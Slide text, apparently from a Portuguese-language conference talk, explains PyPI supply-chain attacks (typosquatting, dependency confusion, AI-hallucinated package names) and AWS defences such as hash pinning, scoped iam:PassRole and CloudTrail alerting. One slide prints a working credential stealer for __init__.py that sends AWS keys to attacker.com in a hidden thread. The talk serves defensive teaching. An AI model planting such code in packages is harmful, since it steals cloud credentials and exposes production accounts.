Pacote comprometido no PyPI por 5 horas. Credential stealer coletou chaves AWS, SSH, tokens OIDC. Cascata: Trivy → Checkmarx → LiteLLM → Telnyx.
Qualquer pip install litellm sem version pin durante a janela = comprometido. Credenciais exfiltradas em menos de 3 segundos após o import.
Pergunta: quantos pip install vocês rodaram hoje sem verificar os hashes?
Nomes parecidos com pacotes populares.
pip install reqeusts pip install djanga
Centenas de pacotes maliciosos por mês no PyPI.
Pacote público com mesmo nome do privado, versão mais alta.
pip install internal-auth # PyPI tem v9.0 (malicioso) # Registry interno tem v1.2 # pip resolve a mais alta → PyPI
Comprometeu Apple, Microsoft, Tesla.
~20% do código de AI referencia pacotes inexistentes.
# LLM sugere: pip install flask-oauth-toolkit # Atacante registra o nome.
Novo vetor 2025-2026.
__init__.py — executa no primeiro import, não na instalaçãoAWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY) já estão disponíveis
# __init__.py — executa no primeiro import
import socket, os, json, threading
def _exfil():
creds = {
"key": os.environ.get("AWS_ACCESS_KEY_ID"),
"secret": os.environ.get("AWS_SECRET_ACCESS_KEY"),
"token": os.environ.get("AWS_SESSION_TOKEN"),
}
s = socket.socket()
s.connect(("attacker.com", 4444))
s.send(json.dumps(creds).encode())
s.close()
# Thread daemon: invisível, não bloqueia
threading.Thread(target=_exfil, daemon=True).start()
O install passa limpo. O scanner de pacotes não detecta. As credenciais vazam somente quando seu código roda — exatamente onde as creds AWS existem.
Não é "só" a máquina do dev. É acesso à conta AWS de produção.
A escalada é inevitável se as credenciais têm mais poder do que o mínimo necessário.
< 5 minutos
Do pip install ao dump de dados de clientes.
pip install → credential theft → privilege escalation → data exfiltration
Reduz a superfície de ataque, mas nenhuma é absoluta sozinha.
Recuse pacotes publicados há menos de 3 dias.
# pip.conf [global] exclude-newer = 3d
10/10 ataques analisados tinham < 72h de idade.
Bypass: account takeover de pacote existente (LiteLLM tinha anos).
Verificação criptográfica de cada artefato.
pip install \ --require-hashes \ -r requirements.txt
Se o hash não bate, install falha.
Bypass: se você pinou o hash de um pacote já comprometido, o lock protege o malware.
Impede execução de setup.py no install.
pip install \ --only-binary :all: \ -r requirements.txt
Sem source dist = sem execução no install.
Bypass: código no __init__.py dentro do .whl ainda executa no import.
As três combinadas reduzem ~90% dos vetores conhecidos. Para o restante, precisamos das camadas 2 e 3.
Se as credenciais forem roubadas, limitar o que o atacante pode fazer.
A correção mais efetiva: uma linha.
// ANTES (vulnerável): "Action": "iam:PassRole", "Resource": "*" // DEPOIS (seguro): "Action": "iam:PassRole", "Resource": "arn:...role/my-safe-role"
CI/CD nunca precisa modificar trust policies. Remova essa permissão.
// Sem isso, atacante não // persiste via backdoor // na trust policy da role
Persistência bloqueada: creds expiram e o atacante perde acesso.
OIDC no CI/CD — sem access keys permanentes.
Se as camadas 1 e 2 falharem, detectar em minutos ou horas, não em dias.
Principal: AWS * e cross-account não autorizadoGetCallerIdentity de IP novo → enum começouListRoles + GetPolicyVersion em sequência → mapeando permissõesCreateFunction + PassRole no mesmo minuto → escalaçãoUpdateAssumeRolePolicy em role admin → persistênciaCreateFunction usa role com Admin*UnauthorizedAccess:IAMUser/InstanceCredentialExfiltrationpip install \ --require-hashes \ --only-binary :all: \ -r requirements.txt
Custo: 30 minutos. Bloqueia 90% dos ataques de supply chain.
Toda policy de CI/CD que tem iam:PassRole deve apontar para roles específicas, nunca Resource: *.
Custo: 1 hora. Impede escalação mesmo com creds roubadas.
EventBridge Rule: CreateFunction + PassRole para role com Admin* no mesmo minuto → SNS → PagerDuty.
Custo: 1 hora. Detecta escalação em menos de 1 minuto.
Custo total: menos de 3 horas. Proteção: 90%+ dos ataques bloqueados.
Conecte-se comigo:
leonardo-ciccone
@CafeComCloud
Hanganalyze
@cafecomcloud
Slides + demo disponíveis: blog.cafecomcloud.com.br